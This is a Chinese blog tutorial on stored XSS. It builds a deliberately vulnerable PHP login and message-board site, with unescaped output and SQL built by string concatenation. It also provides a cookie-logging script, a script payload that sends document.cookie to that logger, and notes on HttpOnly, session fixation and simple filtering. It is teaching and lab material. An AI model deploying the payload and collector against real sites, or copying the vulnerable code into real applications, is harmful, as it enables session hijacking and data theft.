赞
踩
在讲解存储型XSS攻击之前,我们要先明白XSS是个什么东西。
XSS(Cross Site Scripting)跨站脚本攻击,是指攻击者利用Web服务器中的应用程序或代码漏洞,在页面中嵌入客户端脚本(通常是一段由JavaScript编写的恶意代码),当信任此Web服务器的用户访问Web站点中含有恶意脚本代码的页面或打开收到的URL链接时,用户浏览器会自动加载并执行恶意代码,达到攻击的目的。
XSS分为反射型、存储型和DOM型。这里我们只对存储型进行解释,存储型XSS又叫持久型XSS,XSS代码被攻击者存储到服务器中,因此用户在访问含有存储型XSS代码的网站时就会被攻击。
了解了存储型XSS是怎么达到攻击目的的,那么我们接下来就要在本机搭建一个测试网站啦。
我用的是Navicat创建的数据库和表,也可以上网自己找方法搭建。
数据库名xsstest,表是message_board和user,还有两个表中相应的字段。
打开phpstudy的WWW目录,创建一个xsstest文件夹,在里面创建如图圈出的文件。
登录界面:login.php
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>xss登陆</title> <style> body{ padding: 0; margin: 0; font-size:30px;//字体大小 } .main{ position: fixed; top: 50%; left: 50%; margin-left: -245px; margin-top: -201.5px; width: 490px; height: 403px; } input{ width:250px; height:30px; text-align:left; color:blue; } .sub{ width:125px; height:30px; } button{ width:125px; height:30px; text-align:left; } .nav{ padding-top: 80px; padding-left: 115px; width: 260px; } img{ width: 100%; height: 100%; } </style> </head> <body> <img src="login.png" > <div class="main"> <form class="nav" action="post.php" method="post"> 用户名 :<br /><input type="text" name="username"><br> 密码 : <br /><input type="password" name="password"> <br> <input type="submit" value="登陆" class="sub"> <button><a href="reg.php">注册</a></button> </form> </div> </body> </html>
登陆验证:post.php
<?php $conn=mysqli_connect("localhost",'root','root') or die("数据库连接失败!");//连接你的本地数据库 //localhost为服务器 root为用户名 root为密码 mysqli_select_db($conn,'xsstest') or die("您要选择的数据库不存在");//选择你建立的数据表 $name=$_POST['username']; $pwd=$_POST['password'];//获取表单提交的内容用两个变量来存post方式接受的值 $sql="select * from user where username='$name' and password='$pwd'";//查询语句 $query=mysqli_query($conn, $sql);//函数执行一条 MySQL 查询。 $arr=mysqli_fetch_array($query);//然后从$query中取一行数字数组 if(is_array($arr)){//对$arr进行判断 setcookie('username',$name,time()+3600); //设置cookie,时间为一小时,(以秒为单位) header("Location:index.php");//跳转页面 }else{ echo "您的用户名或密码输入有误,<a href=\"login.php\">请重新登录!</a>"; } ?>
登陆成功界面:index.php
<?php if(!isset($_COOKIE['username']))//对跳转方式判断,阻止直接跳转; { echo '登录非法!<a href="login.php">请登录</a>'; exit(); } ?> <!DOCTYPE html> <html > <head> <title>xss测试网站</title> <meta charset="UTF-8"> <style> .message{ margin-top: 50px; } form{ margin-top: 50px; } input{ width: 400px; } .btn{ margin-top: 5px; width: 100px; } </style> </head> <body> Hello 靓仔! <a href="logout.php">注销</a> //点击“ 注销 ”跳转页面 <div class="message"> <table border="1" width="500px"> <tr> <td>留言内容</td> </tr> <?php $db = @mysqli_connect('localhost','root','root') or die("Fail"); mysqli_select_db($db, 'xsstest'); $sql = "select message from message_board;"; $result = mysqli_query($db, $sql); if($result) { while($row=mysqli_fetch_array($result)) { echo "<tr><td> {$row['message']} </td></tr>"; } } mysqli_close($db); ?> </table> </div> <form action="message.php" method="post"> 在这里输入你的留言内容:</br> <input type="text" name="mess"></br> <input class="btn" type="submit"/> </form> </body> </html>
登出页面:logout.php
<?php
if(isset($_COOKIE['username'])){
setcookie('username',$name,time()-1);//清除cookie 将时间设置为负数
header('Location:login.php');
}
else{
echo '注销失败';
header('Location:index.php');
}
?>
注册页面:reg.php
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>xss注册</title> <style> body{ padding: 0; margin: 0; font-size:30px;//字体大小 } .main{ position: fixed; top: 50%; left: 50%; margin-left: -245px; margin-top: -201.5px; width: 490px; height: 403px; } input{ width:250px; height:30px; text-align:left; color:blue; } .sub{ width:125px; height:30px; } button{ width:125px; height:30px; text-align:left; } .nav{ padding-top: 80px; padding-left: 115px; width: 260px; } img{ width: 100%; height: 100%; } </style> </head> <body> <img src="reg.png" > <div class="main"> <form class="nav" action="regin.php" method="post"> 用户名<br/><input type="text" name="username"><br> 密码 <br/><input type="password" name="password"> <br> <input type="submit" value="注册" class="sub"> </body> </div> </body> </html>
注册提交:regin.php
<?php $conn=mysqli_connect("localhost",'root','root') or die("数据库连接失败!"); mysqli_select_db($conn,'xsstest') or die("您要选择的数据库不存在"); $name=trim($_POST['username']); //trim函数,过滤空格,如果不加,我们在用户名后面添加很多空格,提交表单,打开firebug //调试工具,我们可以到输入的用户名后面会有很多空格,使用trim函数,我们可以把表单中空格给过滤掉 $password=$_POST['password']; $sql = "select * from user where username='$name'"; $info = mysqli_query($conn, $sql); $res = mysqli_num_rows($info); if(empty($name)){ echo "<script>alert('用户名不能为空');location.href='reg.php';</script>"; }else if(empty($password)){ echo "<script>alert('密码不能为空');location.href='reg.php';</script>"; }else{ if($res){ echo "<script>alert('用户名已存在');location.href='reg.php';</script>"; }else{ $sql1 ="insert into user(username,password) values('".$name."','" .($password)."')"; $result = mysqli_query($conn, $sql1); if($result){ echo "<script>alert('注册成功')</script>",header("Location:login.php");; }else{ echo "<script>alert('注册失败')</script>"; } } } ?>
留言板提交:message.php
<?php $message = $_POST['mess']; $db = @mysqli_connect('localhost','root','root') or die("Fail"); mysqli_select_db($db, 'xsstest'); $sql = "insert into message_board(message) values('$message');"; $result = mysqli_query($db, $sql); if(!$result) { die('无法插入数据:'.mysqli_error($db)); } echo "数据插入成功!\n"; header('Location:index.php'); mysqli_close($db); ?>
还是在phpstudy中WWW目录中创建两个文件,test.php和xss.php,我这里是在WWW目录下的CrackTest文件夹中创建的,这会影响到我们后面payload的构造!请大家仔细构造,不要盲目照抄。
xss.php
<?php
echo $_GET['content'];
?>
test.php
<?php $cookie = $_GET['cookie']; $ip = getenv('REMOTE_ADDR'); $time = date('Y-m-d g:i:s'); $referer = getenv('HTTP_REFERER'); $agent = $_SERVER['HTTP_USER_AGENT']; $fp = fopen('cookie.txt', 'a'); fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n"); //写入文件 fclose($fp); header("Location: http://www.baidu.com"); ?>
首先我们模拟一个场景,黑客用户hacker想要通过向服务器中存入xss恶意代码,来攻击获得登陆这个页面的用户的Cookie和其它有用的信息。
要想攻击的话,首先我们得有用户啊,所以我们先注册两个用户
用户名:hacker 密码:hacker // 攻击者
用户名:admin 密码:password // 受害者
首先,我们作为hacker用户登录,然后将我们构造的payload加入到留言板中
payload:
<script>window.open(\'http://localhost/CrackTest/xsstest/test.php?cookie=\'+document.cookie)</script>
这里注意,我们构造的payload其实就是放入数据库中的数据字符串,只不过这个字符串是危险的,会被恶意执行的。在这里根据MySQL的语法规则,我们在单引号前加了反斜杠进行转义,否则会报错。localhost也可以写成自己的主机ip地址,这样收到的信息更逼真一点(流汗)。
点击提交,跳转到百度页面,说明注入成功!
再打开我们第三步test.php所在的目录,有一个cookie.txt文件生成,里面就是我们hacker自己的cookie和一些信息。
另建一个登陆页面,模仿这时你是admin用户登陆这个页面,这时候admin用户再登陆时就会中招!
HttpOnly标志可以有效防止非法用户通过Javascript读取cookie。
但是它真的安全吗?答案是否定的,HttpOnly只是不能读取cookie,但是我们还是可以写入cookie啊,这样就会产生别的问题,比如session fixation attack(会话固定攻击)。
那么什么是会话固定攻击?
会话固定攻击(session fixation attack)是利用应用系统在服务器的会话ID固定不变机制,借助他人用相同的会话ID获取认证和授权,然后利用该会话ID劫持他人的会话以成功冒充他人,造成会话固定攻击。
我们先看一下HttpOnly怎么设置吧。
我们在post.php页面中修改setcookie()的参数,改为setcookie('username',$name,time()+3600,NULL,NULL,NULL,TRUE);
setcookie()函数里面第七个参数就是HttpOnly的设置。
用admin账户登陆一下。然后这次盗取的内容在cookie.txt中,Cookie的值真的没有了。
说到底,导致攻击代码成功的原因是我们没有进行输入验证,让攻击有机可乘,那么我们如果通过验证判断出payload,然后阻止它,会不会就安全一点了呢。
修改message.php,加入对参数$message的判断:
<?php $message = $_POST['mess']; $message = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $message ); // $message = trim($message); // 去除字符串两端空格 // $message = strip_tags( addcslashes($message)); // addcslashes是在',",\,NULL等特殊字符前加入反斜杠转义 // strip_tags是去除html,php,xml的标签 // $message = htmlspecialchars($message); // htmlspecialchars是将html中一些敏感字符进行转义 $db = @mysqli_connect('localhost','root','root') or die("Fail"); mysqli_select_db($db, 'xsstest'); $sql = "insert into message_board(message) values('$message');"; $result = mysqli_query($db, $sql); if(!$result) { die('无法插入数据:'.mysqli_error($db)); } echo "数据插入成功!\n"; header('Location:index.php'); mysqli_close($db); ?>
这里我们就不进行演示啦,代码里都有注释,大家可以自己尝试一下,输入的防御是参考DVWA存储型XSS防御的机制,有兴趣的朋友可以去看一下。
以上我们的xss防御其实都是最初级的,真正有效的还是得看大佬的心得,这里安利一下:如何预防应用程序中的XSS漏洞
完结撒花~~
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。